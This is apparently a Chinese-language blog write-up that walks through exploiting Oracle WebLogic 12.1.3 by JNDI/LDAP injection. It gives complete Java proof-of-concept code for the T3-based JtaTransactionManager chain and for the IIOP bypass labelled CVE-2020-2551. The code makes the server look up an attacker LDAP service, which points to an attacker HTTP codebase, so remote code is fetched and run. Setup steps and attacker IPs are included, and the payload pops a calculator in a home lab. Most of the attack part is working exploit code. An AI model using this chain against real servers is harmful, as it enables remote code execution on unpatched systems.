接下来就是用之前的理解去日weblogic,说到底就是让weblogic 执行 InitialContext.lookup()方法,参数是我们提供的恶意ldap服务,然后远程加载恶意代码。
这里 还要继续用《JAVA序列化利用学习四:ldap lookup + javaCodebase 从http加载payload》的部分类。
准备
weblogic用的是12.1.3,Windows平台。192.168.1.217。
攻击还是从kali发起的。192.168.1.99。
HttpServer类不变,启动。
ExportObject里执行的命令换成:
//exec("gnome-calculator");
exec("calc");
启动LDAPRefServer。
把LDAPServer2中的javaCodebase的http地址换成kali的IP(192.168.1.99)
Attribute mod2 = new BasicAttribute("javaCodebase",
"http://192.168.1.99:8000/");
启动LDAPServer2,向LDAP服务插入数据。
准备好这些,就可以日weblogic了。
攻击
去weblogic里拿:
com.bea.core.repackaged.apache.commons.logging_1.2.1.jar
com.bea.core.repackaged.springframework.pitchfork_1.4.0.0_1-0.jar
com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar
wlclient.jar
这四个包,导入到项目。
先复习一下T3协议的攻击:
package com.hans.weblogicLdapExploit;
import java.util.Hashtable;
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import javax.ejb.EJBHome;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class WeblogicLdapLookup {
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
public final static String url = "t3://192.168.1.217:7001";
public static void main(String[] args) throws NamingException, ClassNotFoundException {
try {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
Context initialContext = new InitialContext(env);
String jndiAddress = "ldap://192.168.1.99:1389/uid=hans,ou=employees,dc=example,dc=com";
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiAddress);
EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB");
ejbHome.remove(jtaTransactionManager);
}catch(Exception e) {
System.out.println(e);
}
}
}
我不知道EJBHome做什么,我要假装知道EJBHome长什么样:
package javax.ejb;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface EJBHome extends Remote {
void remove(Handle var1) throws RemoteException, RemoveException;
void remove(Object var1) throws RemoteException, RemoveException;
EJBMetaData getEJBMetaData() throws RemoteException;
HomeHandle getHomeHandle() throws RemoteException;
}
关于 JtaTransactionManager 的利用链,https://paper.seebug.org/1091/#jndildap 有详细的说明。
该利用方式适合没打补丁的weblogic:

由于后续的补丁在T3协议readObject的时候加了黑名单,所以JtaTransactionManager 的利用链在打上补丁的weblogic就失效了。
CVE-2020-2551
在2020年年初的时候爆出来 使用iiop协议可以绕过限制(CVE-2020-2551),造成远程代码执行 https://qiita.com/shimizukawasaki/items/7e01401a706900435591
然后我在这遇到一个巨坑!卡了我好久。
我一开始用的wlthint3client.jar包,结果利用IIOP协议的时候一直报
weblogic.jndi.WLInitialContextFactory Unknown protocol IIOP
找了好久才发现用的是t3的client包(wlthint3client.jar)!奶奶的。
去weblogic里拿个wlclient.jar换进来就好了。
对前面的payload稍加修改
package com.hans.weblogicLdapExploit;
import java.util.Hashtable;
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import javax.ejb.EJBHome;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class WeblogicLdapLookup {
/**/
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
public final static String url = "iiop://192.168.1.217:7001";
public static void main(String[] args) throws NamingException, ClassNotFoundException {
try {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
Context initialContext = new InitialContext(env);
String jndiAddress = "ldap://192.168.1.99:1389/uid=hans,ou=employees,dc=example,dc=com";
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiAddress);
EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB");
ejbHome.remove(jtaTransactionManager);
}catch(Exception e) {
System.out.println(e);
}
}
}
可远程执行ExportObject的代码。
查看weblogic的错误日志,确实发生在IIOP协议:

由于我没有weblogic的补丁,只是凭现有的信息和知识,猜测,这应该就是CVE-2020-2551的POC。
完全代码放到我的 gitlab